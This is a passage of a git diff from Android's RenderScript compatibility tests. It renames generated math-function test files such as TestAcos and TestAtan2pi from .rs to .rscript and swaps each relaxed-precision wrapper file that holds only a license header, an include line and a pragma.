- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestAcos.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcosRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcosRelaxed.rscript
new file mode 100644
index 0000000..ce27dc3
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcosRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestAcos.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcosh.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcosh.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcosh.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcosh.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcoshRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcoshRelaxed.rs
deleted file mode 100644
index 81a8fa3..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcoshRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestAcosh.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcoshRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcoshRelaxed.rscript
new file mode 100644
index 0000000..4c02e0c
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcoshRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestAcosh.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcospi.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcospi.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcospi.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcospi.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcospiRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcospiRelaxed.rs
deleted file mode 100644
index abca2f6..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcospiRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestAcospi.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcospiRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcospiRelaxed.rscript
new file mode 100644
index 0000000..322bc17
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcospiRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestAcospi.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsin.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsin.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsin.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsin.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinRelaxed.rs
deleted file mode 100644
index da9bd4d..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestAsin.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinRelaxed.rscript
new file mode 100644
index 0000000..42be8bd
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestAsin.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinh.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinh.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinh.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinh.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinhRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinhRelaxed.rs
deleted file mode 100644
index 5820faa..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinhRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestAsinh.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinhRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinhRelaxed.rscript
new file mode 100644
index 0000000..55077ff
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinhRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestAsinh.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinpi.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinpi.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinpi.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinpi.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinpiRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinpiRelaxed.rs
deleted file mode 100644
index 5fa2d67..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinpiRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestAsinpi.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinpiRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinpiRelaxed.rscript
new file mode 100644
index 0000000..1c802d6
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinpiRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestAsinpi.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2Relaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2Relaxed.rs
deleted file mode 100644
index 564ba1e..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2Relaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestAtan2.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2Relaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2Relaxed.rscript
new file mode 100644
index 0000000..9461bb5
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2Relaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestAtan2.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2pi.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2pi.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2pi.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2pi.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2piRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2piRelaxed.rs
deleted file mode 100644
index 9429a81..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2piRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestAtan2pi.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2piRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2piRelaxed.rscript
new file mode 100644
index 0000000..cc6a0a4
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2piRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestAtan2pi.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanRelaxed.rs
deleted file mode 100644
index d370e7f..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestAtan.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanRelaxed.rscript
new file mode 100644
index 0000000..126e83d
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestAtan.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanh.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanh.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanh.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanh.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanhRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanhRelaxed.rs
deleted file mode 100644
index 00960a9..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanhRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestAtanh.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanhRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanhRelaxed.rscript
new file mode 100644
index 0000000..15b1f9a
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanhRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestAtanh.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanpi.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanpi.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanpi.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanpi.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanpiRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanpiRelaxed.rs
deleted file mode 100644
index 09d487c..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanpiRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestAtanpi.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanpiRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanpiRelaxed.rscript
new file mode 100644
index 0000000..938fcc5
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanpiRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestAtanpi.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCbrt.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCbrt.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestCbrt.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestCbrt.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCbrtRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCbrtRelaxed.rs
deleted file mode 100644
index 6a35bd8..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCbrtRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestCbrt.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCbrtRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCbrtRelaxed.rscript
new file mode 100644
index 0000000..8455fac
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCbrtRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestCbrt.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCeil.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCeil.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestCeil.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestCeil.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCeilRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCeilRelaxed.rs
deleted file mode 100644
index 1ed24c76..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCeilRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestCeil.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCeilRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCeilRelaxed.rscript
new file mode 100644
index 0000000..891657e
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCeilRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestCeil.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClamp.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClamp.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestClamp.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestClamp.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClampRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestClampRelaxed.rs
deleted file mode 100644
index 0117c74..0000000
